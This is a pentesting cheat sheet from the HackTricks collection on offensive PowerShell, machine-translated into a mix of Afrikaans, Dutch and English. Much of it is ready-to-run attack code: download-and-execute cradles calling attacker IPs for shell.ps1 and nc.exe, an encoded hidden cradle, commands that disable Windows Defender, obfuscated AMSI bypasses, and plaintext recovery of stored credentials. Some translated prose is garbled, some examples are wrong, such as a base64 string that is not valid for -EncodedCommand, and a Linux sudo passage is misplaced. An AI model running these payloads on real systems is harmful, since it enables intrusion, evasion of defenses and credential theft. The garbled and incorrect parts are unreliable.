hacktricks/windows-hardening/basic-powershell-for-pentesters
2024-02-11 02:07:06 +00:00
..
powerview.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
README.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00

Basiese PowerShell vir Pentesters

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Verstek PowerShell-plekke

C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell

Basiese PS-opdragte om te begin

Hier is 'n paar basiese PowerShell-opdragte om jou op pad te help:

1. Get-Process

Hierdie opdrag gee 'n lys van alle aktiewe prosesse op die stelsel.

2. Get-Service

Hierdie opdrag gee 'n lys van alle dienste wat op die stelsel hardloop.

3. Get-EventLog

Hierdie opdrag gee toegang tot die gebeurtenisjoernaal van die stelsel en toon inligting oor gebeure wat plaasgevind het.

4. Get-WmiObject

Hierdie opdrag gee toegang tot die Windows-beheerinstrumentasie (WMI) en maak dit moontlik om inligting oor verskeie stelselkomponente te bekom.

5. Get-ChildItem

Hierdie opdrag gee 'n lys van alle lêers en mappe in 'n spesifieke gids.

6. Set-ExecutionPolicy

Hierdie opdrag stel die uitvoeringsbeleid van PowerShell in. Dit beheer die vlak van beperking op die uitvoering van skrips.

7. Invoke-WebRequest

Hierdie opdrag maak dit moontlik om HTTP-aanvrae te stuur en webinhoud te ontleed.

8. New-Item

Hierdie opdrag skep 'n nuwe lêer of gids in 'n spesifieke gids.

9. Remove-Item

Hierdie opdrag verwyder 'n lêer of gids van die stelsel.

10. Set-ItemProperty

Hierdie opdrag stel die eienskappe van 'n spesifieke lêer of gids in.

Dit is 'n paar van die basiese opdragte wat jy kan gebruik om met PowerShell te begin. Daar is baie meer gevorderde opdragte en tegnieke beskikbaar, maar hierdie lys sal jou help om 'n goeie begin te maak.

Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>

Laai af en voer uit

Om uitvoerbare code vanaf een externe locatie te downloaden en uit te voeren, kunt u PowerShell gebruiken. Dit kan handig zijn tijdens een pentest om payloads vanaf een externe server te downloaden en uit te voeren op het doelsysteem.

Hier is een voorbeeld van hoe u dit kunt doen:

$Url = "http://example.com/payload.exe"
$Output = "C:\Temp\payload.exe"
Invoke-WebRequest -Uri $Url -OutFile $Output
Start-Process -FilePath $Output

In dit voorbeeld wordt de Invoke-WebRequest cmdlet gebruikt om de payload vanaf de opgegeven URL te downloaden en op te slaan op de opgegeven locatie. Vervolgens wordt de Start-Process cmdlet gebruikt om de gedownloade payload uit te voeren.

Zorg ervoor dat u de URL en het uitvoerpad aanpast aan uw specifieke situatie. Houd er ook rekening mee dat het uitvoeren van externe code risico's met zich meebrengt en alleen moet worden uitgevoerd op systemen die u legitiem beheert of tijdens geautoriseerde pentestactiviteiten.

g
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3

$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(

#https://twitter.com/Alh4zr3d/status/1566489367232651264
#host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]

Laai af en voer uit in die agtergrond met AMSI-omseiling

Hierdie tegniek maak gebruik van PowerShell om 'n skadelike skrif vanaf 'n afgeleë bediener af te laai en uit te voer in die agtergrond. Dit maak gebruik van 'n omseilingstegniek genaamd AMSI-omseiling om die Anti-Malware Scan Interface (AMSI) te omseil, wat normaalweg PowerShell-skripte sal skandeer vir skadelike inhoud.

Stap 1: Skakel uitvoering van onbekende skripte in

Voordat ons begin, moet ons die uitvoering van onbekende skripte in PowerShell toelaat. Dit kan gedoen word deur die volgende opdrag uit te voer:

Set-ExecutionPolicy Bypass -Scope Process -Force

Stap 2: Laai die skadelike skrif af

Ons kan die skadelike skrif vanaf 'n afgeleë bediener af laai deur die volgende opdrag uit te voer:

$webClient = New-Object System.Net.WebClient
$url = "http://example.com/malicious_script.ps1"
$file = "C:\Temp\malicious_script.ps1"
$webClient.DownloadFile($url, $file)

Vervang die URL met die URL van die skadelike skrif wat jy wil af laai, en vervang die lêernaam en pad met die plek waar jy die skadelike skrif wil stoor.

Stap 3: Voer die skadelike skrif uit in die agtergrond

Om die skadelike skrif in die agtergrond uit te voer, kan ons die volgende opdrag gebruik:

$bytes = [System.IO.File]::ReadAllBytes("C:\Temp\malicious_script.ps1")
$encodedCommand = [System.Convert]::ToBase64String($bytes)
$encodedCommand | powershell.exe -ExecutionPolicy Bypass -NoProfile -EncodedCommand -

Hierdie opdrag sal die skadelike skrif in die agtergrond uitvoer sonder om 'n opdragvenster te open. Dit maak gebruik van die Base64-gekoderde weergawe van die skadelike skrif om die AMSI-omseiling te bewerkstellig.

Onthou om die lêernaam en pad in die opdrag te vervang met die korrekte lêernaam en pad van die skadelike skrif wat jy wil uitvoer.

Met hierdie tegniek kan jy 'n skadelike skrif vanaf 'n afgeleë bediener af laai en uitvoer in die agtergrond, terwyl jy die AMSI-omseiling gebruik om die skadelike inhoud te verberg.

Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="

Gebruik van b64 vanaf Linux

Om base64-codering te gebruiken vanaf een Linux-systeem, kunt u de volgende opdracht gebruiken:

echo -n "tekst" | base64

Hierbij wordt de tekst "tekst" gecodeerd met base64. Het -n vlaggetje zorgt ervoor dat er geen nieuwe regel wordt toegevoegd aan de uitvoer.

Om een base64-gecodeerde string te decoderen, kunt u de volgende opdracht gebruiken:

echo -n "base64-gecodeerde-string" | base64 -d

Hierbij wordt de base64-gecodeerde string gedecodeerd en wordt de oorspronkelijke tekst weergegeven.

echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>

Aflaai

System.Net.WebClient

(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")

Invoke-WebRequest

Invoke-WebRequest is 'n PowerShell cmdlet wat gebruik word om HTTP- en HTTPS-aanvrae te maak na 'n webbediener en die inhoud van die webbladsy te ontleed. Dit kan gebruik word deur pentesters om webtoepassings te ondersoek en te toets vir sekuriteitskwessies.

Hier is 'n voorbeeld van hoe om Invoke-WebRequest te gebruik om 'n HTTP-aanvraag te maak en die inhoud van die webbladsy te ontleed:

$response = Invoke-WebRequest -Uri "https://www.example.com"
$response.Content

In hierdie voorbeeld maak ons 'n HTTP-aanvraag na die webbladsy https://www.example.com en stoor die respons in die $response-veranderlike. Ons kan dan die inhoud van die webbladsy ontleed deur die $response.Content-eienskap te gebruik.

Invoke-WebRequest bied ook verskeie opsies en parameters om die aanvraag aan te pas, soos die gebruik van 'n spesifieke HTTP-metode, die stuur van koppelvlakparameters, die instel van 'n gebruikersagent, en nog baie meer. Deur hierdie opsies te gebruik, kan pentesters spesifieke aanvrae maak en die respons ontleed vir verdere analise en toetsing.

Dit is belangrik om te onthou dat die gebruik van Invoke-WebRequest vir enige doeleindes buite wettige en etiese hacking-aktiwiteite onwettig is.

Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"

Wget

Wget is 'n nuttige hulpmiddel wat gebruik kan word om lêers van die internet af te laai. Dit kan gebruik word om enige tipe lêer, soos tekslêers, beelde, programme en selfs hele webwerwe, af te laai. Dit is 'n kragtige hulpmiddel wat dikwels deur pentesters gebruik word om inhoud van webwerwe te ondersoek en te analiseer. Wget kan ook gebruik word om lêers vanaf 'n afgeleë bediener na jou eie masjien te trek. Dit is 'n baie nuttige hulpmiddel om te hê as jy toegang het tot 'n masjien wat nie oor 'n grafiese gebruikerskoppelvlak beskik nie.

wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

BitsOordrag

BitsTransfer is 'n tegnologie wat deur Windows gebruik word om lêers oor 'n netwerk oor te dra. Dit maak gebruik van die Background Intelligent Transfer Service (BITS) om die oordrag van lêers te fasiliteer. Hierdie tegnologie kan deur pentesters gebruik word om lêers vanaf 'n aangetaste stelsel af te laai of om lêers na 'n aangetaste stelsel oor te dra.

BitsTransfer Gebruik

Om BitsTransfer te gebruik, kan jy die Start-BitsTransfer cmdlet in PowerShell gebruik. Hier is 'n voorbeeld van hoe om dit te gebruik om 'n lêer af te laai:

Start-BitsTransfer -Source http://example.com/file.exe -Destination C:\path\to\save\file.exe

In hierdie voorbeeld sal die lêer file.exe vanaf die URL http://example.com/file.exe afgelaai word en gestoor word by die pad C:\path\to\save\file.exe op die plaaslike stelsel.

BitsTransfer Versteekte Funksies

BitsTransfer het 'n paar versteekte funksies wat nuttig kan wees vir pentesters. Hier is 'n paar voorbeelde:

  • Aanvraag Prioriteit: Jy kan die prioriteit van die oordrag aanpas deur die -Priority parameter te gebruik. Die moontlike waardes sluit in Foreground, High, Normal, Low en Background.

  • Hervat Oordrag: As 'n oordrag onderbreek word, kan jy dit hervat deur die -Resume parameter te gebruik. Dit sal die oordrag voortgesit waar dit gestop het.

  • Agtergrond Oordrag: Jy kan die oordrag in die agtergrond laat plaas deur die -Asynchronous parameter te gebruik. Hierdie funksie maak dit moontlik om ander take uit te voer terwyl die oordrag aan die gang is.

  • Oordrag Voortgang: Jy kan die voortgang van die oordrag monitor deur die -AsJob parameter te gebruik. Dit sal 'n taak skep wat die voortgang van die oordrag aandui.

BitsTransfer Beperkings

Daar is 'n paar beperkings wat jy in gedagte moet hou wanneer jy BitsTransfer gebruik:

  • Firewall Beperkings: As die aangetaste stelsel deur 'n firewall beskerm word, moet jy verseker dat die nodige poorte oop is om BitsTransfer toe te laat.

  • Toegangsbeperkings: Jy moet die nodige toegangsregte hê om lêers af te laai of oor te dra. As jy nie die nodige regte het nie, sal die oordrag misluk.

  • Netwerkverbindings: BitsTransfer vereis 'n werkende netwerkverbinding om te kan funksioneer. As die netwerkverbinding onderbreek word, sal die oordrag ook onderbreek word.

BitsTransfer Alternatiewe

As BitsTransfer nie beskikbaar is nie, kan jy oorweeg om ander tegnieke te gebruik, soos die Invoke-WebRequest cmdlet of die wget hulpprogram. Hierdie tegnieke kan ook gebruik word om lêers oor te dra of af te laai.

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Base64 Kali & EncodedCommand

Base64 Kali

In Kali Linux, you can use the base64 command to encode and decode data in Base64 format. Base64 encoding is commonly used in various scenarios, such as encoding binary data for transmission over text-based protocols or embedding data in URLs.

To encode a file using Base64 in Kali Linux, you can use the following command:

base64 <file> > <output_file>

Replace <file> with the path to the file you want to encode, and <output_file> with the desired name for the encoded file.

To decode a Base64-encoded file in Kali Linux, you can use the following command:

base64 -d <encoded_file> > <output_file>

Replace <encoded_file> with the path to the Base64-encoded file, and <output_file> with the desired name for the decoded file.

EncodedCommand

In PowerShell, the EncodedCommand parameter allows you to run a command that has been encoded in Base64 format. This can be useful in scenarios where you want to obfuscate the command and bypass certain security measures.

To use the EncodedCommand parameter in PowerShell, you can use the following syntax:

powershell.exe -EncodedCommand <base64_encoded_command>

Replace <base64_encoded_command> with the Base64-encoded command you want to run.

For example, if you want to run the command Get-Process, you can encode it in Base64 and use the EncodedCommand parameter as follows:

powershell.exe -EncodedCommand R0VUIC1Qcm9jZXNz

This will execute the Get-Process command in PowerShell.

Remember to encode the command using a tool like base64 before using it with the EncodedCommand parameter.

kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand <Base64>

Uitvoeringsbeleid

Beperkte taal

AppLocker-beleid

Skakel WinRM (Remote PS) in

enable-psremoting -force #This enables winrm

# Change NetWorkConnection Category to Private
#Requires -RunasAdministrator

Get-NetConnectionProfile |
Where{ $_.NetWorkCategory -ne 'Private'} |
ForEach {
$_
$_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
}

Deaktiveer Verdediger

{% code overflow="wrap" %}

# Check status
Get-MpComputerStatus
Get-MpPreference | select Exclusion* | fl #Check exclusions
# Disable
Set-MpPreference -DisableRealtimeMonitoring $true
#To completely disable Windows Defender on a computer, use the command:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion path
Set-MpPreference -ExclusionPath (pwd) -disablerealtimemonitoring
Add-MpPreference -ExclusionPath (pwd)

# Check exclusions configured via GPO
Parse-PolFile .\Registry.pol

KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions
ValueName : Exclusions_Paths
ValueType : REG_DWORD
ValueLength : 4
ValueData : 1

KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths
ValueName : C:\Windows\Temp
ValueType : REG_SZ
ValueLength : 4
ValueData : 0

{% endcode %}

AMSI deurloop

amsi.dll word gelaai in jou proses en het die nodige uitvoere vir enige toepassing om mee te kommunikeer. En omdat dit in die geheue van 'n proses gelaai word wat jy beheer, kan jy sy gedrag verander deur instruksies in die geheue te oorwrit. Dit maak dit nutteloos om enige iets op te spoor.

Daarom is die doel van die AMSI deurloop om die instruksies van daardie DLL in die geheue te oorwrit sodat die opsporing nutteloos word.

Webblad vir die generering van AMSI deurloop: https://amsi.fail/

# A Method
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)

# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
SetValue($null,$true)

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( )

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')
${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')
${1}.SetValue($null,$true)

# Another Method
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)

# AMSI Bypass in python
https://fluidattacks.com/blog/amsi-bypass-python/

# Testing for Amsi Bypass:
https://github.com/rasta-mouse/AmsiScanBufferBypass

# Amsi-Bypass-Powershell
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html

AMSI Omspring 2 - Bestuurde API-Oproep Hooking

Kyk hierdie pos vir gedetailleerde inligting en die kode. Inleiding:

Hierdie nuwe tegniek steun op API-oproep hooking van .NET-metodes. Dit blyk dat .NET-metodes moet kompilasie word na inheemse masjieninstruksies in die geheue, wat baie soortgelyk lyk aan inheemse metodes. Hierdie gekompileerde metodes kan gehook word om die beheervloei van 'n program te verander.

Die stappe om API-oproep hooking van .NET-metodes uit te voer, is as volg:

  1. Identifiseer die teikenmetode om te hook
  2. Definieer 'n metode met dieselfde funksieprototipe as die teiken
  3. Gebruik refleksie om die metodes te vind
  4. Verseker dat elke metode gekompileer is
  5. Vind die ligging van elke metode in die geheue
  6. Skryf die teikenmetode oor met instruksies wat na ons skadelike metode verwys

AMSI Omspring 3 - SeDebug Voorreg

Deur hierdie gids en kode te volg kan jy sien hoe jy met genoeg voorregte om prosesse te ontleed, 'n powershell.exe-proses kan skep, dit kan ontleed, monitor wanneer dit amsi.dll laai en dit kan deaktiveer.

AMSI Omspring - Meer Hulpbronne

PS-Geskiedenis

Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt

Vind nuwer lêers

Opsies: CreationTime, CreationTimeUtc, LastAccessTime, LastAccessTimeUtc, LastWriteTime, LastWriteTimeUtc

# LastAccessTime:
(gci C:\ -r | sort -Descending LastAccessTime | select -first 100) | Select-Object -Property LastAccessTime,FullName

# LastWriteTime:
(gci C:\ -r | sort -Descending LastWriteTime | select -first 100) | Select-Object -Property LastWriteTime,FullName

Kry toestemmings

Om toestemmings van bestande en mappe te kry, kan jy die volgende PowerShell-opdrag gebruik:

Get-Acl -Path C:\Path\to\file.txt

Hierdie opdrag sal die toestemmings van die gespesifiseerde lêer of map inligting gee.

Get-Acl -Path "C:\Program Files\Vuln Services" | fl

Bedryfstelsel weergawe en HotFixes

Om die weergawe van die bedryfstelsel en die geïnstalleerde HotFixes in Windows te bepaal, kan jy die volgende PowerShell-opdrag gebruik:

(Get-WmiObject -Class Win32_OperatingSystem).Caption
Get-HotFix

Die eerste opdrag sal die weergawe van die bedryfstelsel toon, terwyl die tweede opdrag 'n lys van geïnstalleerde HotFixes sal gee.

[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Omgewing


Introduction

Get-ChildItem Env: | ft Key,Value #get all values
$env:UserName @Get UserName value

Ander gekoppelde aandrywings

When conducting a penetration test on a Windows system, it is important to identify and explore any connected drives. These drives may contain valuable information or provide additional attack vectors. In this section, we will discuss how to identify and access other connected drives using PowerShell.

Identifying connected drives

To identify the connected drives on a Windows system, we can use the Get-PSDrive cmdlet in PowerShell. This cmdlet retrieves information about the drives available on the system, including local drives, network drives, and other types of drives.

To list all the connected drives, open a PowerShell session and run the following command:

Get-PSDrive

This will display a list of drives along with their names, types, and other relevant information.

Accessing connected drives

Once we have identified the connected drives, we can access them using the appropriate drive letter or UNC path. To access a drive, we can use the Set-Location cmdlet in PowerShell.

To access a drive by its letter, use the following command:

Set-Location -Path <drive letter>:

For example, to access the D: drive, run the following command:

Set-Location -Path D:

To access a drive using its UNC path, use the following command:

Set-Location -Path \\server\share

Replace server with the name of the server and share with the name of the shared folder.

Once we have accessed a connected drive, we can navigate through its directories and perform various operations, such as listing files, copying files, or executing scripts.

Conclusion

Identifying and accessing other connected drives is an important step in a penetration test. By exploring these drives, we can discover additional attack vectors and potentially find valuable information. PowerShell provides convenient cmdlets to help us accomplish this task efficiently.

Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

Herwinbak

Die herwinbak is 'n funksie in Windows wat gebruik word om verwyderde lêers en dokumente te stoor voordat hulle permanent uit die stelsel verwyder word. Dit bied 'n veiligheidsmeganisme vir die geval dat 'n gebruiker 'n lêer per ongeluk verwyder en dit later wil herstel.

Die herwinbak kan egter 'n potensiële bron van inligting wees vir 'n aanvaller. As 'n aanvaller toegang tot 'n rekenaar verkry, kan hy of sy die herwinbak ondersoek om moontlike inligting te vind. Hierdie inligting kan insluit persoonlike dokumente, wagwoorde, e-posse en ander gevoelige inligting.

Daar is verskeie tegnieke wat 'n aanvaller kan gebruik om toegang tot die herwinbak te verkry en die inligting daarin te ondersoek. Dit sluit in die gebruik van PowerShell-opdragte om die inhoud van die herwinbak te sien, die herwinbak te omseil deur die lêers direk te herstel, of die herwinbak te omseil deur die lêers te herstel na 'n ander plek op die stelsel.

Dit is belangrik vir Windows-gebruikers om bewus te wees van die potensiële risiko's wat die herwinbak kan inhou en om toepaslike maatreëls te tref om die inligting in die herwinbak te beskerm. Dit sluit in die gebruik van sterk wagwoorde, die versleuteling van gevoelige dokumente en die gereelde skoonmaak van die herwinbak om die blootstelling van inligting te verminder.

$shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()

https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/

Domein Verkenning

{% content-ref url="powerview.md" %} powerview.md {% endcontent-ref %}

Gebruikers

Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name

Veilige String na Plattekste

Om 'n veilige string na plattekste te omskep, kan die volgende PowerShell-kode gebruik word:

$SecureString = ConvertTo-SecureString -String "VeiligeWagwoord" -AsPlainText -Force
$PlainText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($SecureString))

Hierdie kode skep 'n veilige string met die wagwoord "VeiligeWagwoord" en omskep dit na plattekste. Die resulterende plattekste wagwoord word in die $PlainText veranderlike gestoor.

Dit is belangrik om te onthou dat die omskakeling van 'n veilige string na plattekste die wagwoord kwesbaar maak vir aanvalle. Dit moet slegs gedoen word as dit nodig is en moet met sorg hanteer word.

$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB

Of direk van XML ontleding:

$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB

SUDO

SUDO is 'n nuttige hulpmiddel wat in Linux-stelsels gebruik word om gebruikers die nodig is om spesifieke take uit te voer, tye te gee. Hierdie hulpmiddel gee gebruikers die vermoë om as 'n ander gebruiker uit te voer, soos die root-gebruiker, sonder om die wagwoord van daardie gebruiker te ken. Dit is 'n kragtige funksie, maar dit moet met omsigtigheid gebruik word, aangesien dit 'n potensiële veiligheidsrisiko kan skep.

Om SUDO te gebruik, moet jy die sudo sleutelwoord voorafgaan aan die opdrag wat jy wil uitvoer. Byvoorbeeld, as jy 'n opdrag wil uitvoer as die root-gebruiker, sal jy die volgende sintaks gebruik:

sudo opdrag

Jy sal dan gevra word om jou eie wagwoord in te voer om jou identiteit te bevestig voordat die opdrag uitgevoer word. As jou gebruikersrekening geag word om SUDO-voorregte te hê, sal die opdrag suksesvol uitgevoer word.

Dit is belangrik om te onthou dat SUDO-voorregte slegs aan spesifieke gebruikersrekeninge toegestaan moet word en slegs vir die nodige take. Dit is ook raadsaam om die gebruik van SUDO te monitor en te log om enige potensiële misbruik of verdagte aktiwiteit te identifiseer.

SUDO is 'n nuttige hulpmiddel vir die uitvoer van gepriviligeerde take in Linux-stelsels, maar dit moet met sorg gebruik word om die veiligheid van die stelsel te handhaaf.

#CREATE A CREDENTIAL OBJECT
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)

#For local:
Start-Process -Credential ($cred)  -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"

#For WINRM
#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
#DOWNLOAD nc.exe
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred

Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'

#Another method
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"

Groepe

Groups in Windows are used to organize and manage user accounts and computer resources. They provide a way to assign permissions and access rights to multiple users or objects at once. In this section, we will explore some basic PowerShell commands to work with groups.

Get-LocalGroup

The Get-LocalGroup command is used to retrieve information about local groups on a Windows system. It can be used to list all the local groups or to get detailed information about a specific group.

Get-LocalGroup
Get-LocalGroup -Name "Administrators"

New-LocalGroup

The New-LocalGroup command is used to create a new local group on a Windows system. You can specify the name and description of the group using the -Name and -Description parameters.

New-LocalGroup -Name "TestGroup" -Description "This is a test group"

Add-LocalGroupMember

The Add-LocalGroupMember command is used to add a user or group to a local group on a Windows system. You can specify the group name using the -Group parameter and the user or group name using the -Member parameter.

Add-LocalGroupMember -Group "Administrators" -Member "Domain\User"

Remove-LocalGroupMember

